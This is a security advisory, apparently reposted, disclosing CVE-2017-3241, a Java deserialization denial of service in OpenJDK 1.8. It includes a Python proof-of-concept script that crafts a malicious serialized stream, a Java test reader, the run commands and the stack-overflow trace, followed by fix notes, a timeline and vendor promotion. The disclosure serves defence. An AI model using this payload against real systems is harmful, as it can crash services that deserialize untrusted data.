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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
'''
Application: Java SE

Vendor: Oracle

Bug: DoS

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

Reference: Oracle CPU Jan 2017

Author: Roman Shalymov



1. ADVISORY INFORMATION

Title: Oracle OpenJDK - Java Serialization DoS

Advisory ID: [ERPSCAN-17-006]

Risk: High

Advisory URL:
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/

Date published: 17.01.2017

Vendor contacted: Oracle


2. VULNERABILITY INFORMATION


Class: Denial of Service

Remotely Exploitable: Yes

Locally Exploitable: Yes

CVE Name: CVE-2017-3241

CVSS Base Score: 9.0


3. VULNERABILITY DESCRIPTION


An attacker can cause DoS of the application which uses OpenJDK Runtime
Environment 1.8 as its core runtime engine.


4. VULNERABLE PACKAGES


OpenJDK Runtime Environment build 1.8.0_112-b15


5. SOLUTIONS AND WORKAROUNDS


Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);
call in switch statement

Adress Oracle CPU January 2017

 6. AUTHOR


Roman Shalymov (@shalymov)


7. TECHNICAL DESCRIPTION


An attacker can craft a malicious sequence of bytes that will cause JVM
StackOverflowError in the standard Java deserialization process if it uses
ObjectInputStream.readObject() method.


7.1. Proof of Concept

An attacker creates a malicious sequence of bytes, for example, using this
python script pwn_ser.py:

'''
#!/usr/bin/env python2

import sys

exp = ""

#serialization header

exp += '\xac\xed\x00\x05'

exp1 = ''

exp1 += '\x72'

exp1 += '\x00\x0c'+'java.io.File'

exp1 += '\x41'*8

exp1 += '\x00'

exp1 += '\x00\x00'


exp += exp1 * 10000

sys.stdout.write(exp)

'''
and save it in exp2.ser file


$ ./pwn_ser2.py > exp2.ser

Let's simulate deserialization process. For this purpose, we create a
simple Java program, which uses the following standard deserialization
pattern:


Serialize_read.java


import java.io.FileInputStream;

import java.io.ObjectInputStream;

public class Serialize_read {

public static void main(String args[]) throws Exception {

  if(args.length < 1) {

      System.out.println("usage: "+Serialize_read.class.getSimpleName()+"
[file]");

      System.exit(-1);

  }

  FileInputStream fin = new FileInputStream(args[0]);

  ObjectInputStream oin = new ObjectInputStream(fin);

  try {

    Object objFromDisk = oin.readObject();

    String s = (String)objFromDisk;

    System.out.println(s);

    System.out.println("Successfully read!");

  }catch(Exception e){}

  System.exit(0);

}

}


Let's try to read our malicious file (we can also simulate this stuff over
network communication):

$ javac Serialize_read.java

$ java Serialize_read exp2.ser

It causes the following error dump:

Exception in thread "main" java.lang.StackOverflowError

at
java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)

at
java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)

at
java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)

at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)

at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)

at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

...

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)


8. REPORT TIMELINE

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

9. REFERENCES
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/


10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and analysis of
critical enterprise applications. It was acknowledged multiple times by the
largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for
discovering more than 400 vulnerabilities in their solutions (200 of them
just in SAP!).

ERPScan researchers are proud of discovering new types of vulnerabilities
(TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug"
nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at 60+
prime international security conferences in 25+ countries across the
continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for
several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP security
researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters, Yahoo, SC
Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in various
fields of cybersecurity (from web application to ICS/SCADA systems),
gathering their experience to conduct the best SAP security research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial, Retail and other organizations to
secure their mission-critical processes. Named as an aEmerging Vendora in
Security by CRN, listed among aTOP 100 SAP Solution providersa and
distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in
discovering and resolving security vulnerabilities. ERPScan consultants
work with SAP SE in Walldorf to assist in improving the security of their
latest solutions.

ERPScanas primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and secure
SAP and Oracle ERP systems and business-critical applications from both
cyberattacks and internal fraud. As a rule, our clients are large
enterprises, Fortune 2000 companies and MSPs, whose requirements are to
actively monitor and manage security of vast SAP and Oracle landscapes on a
global scale.

We afollow the suna and have two hubs, located in Palo Alto and Amsterdam,
to provide threat intelligence services, continuous support and to operate
local offices and partner network spanning 20+ countries around the globe.


Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan

Scoop-it: Business Application Security
'''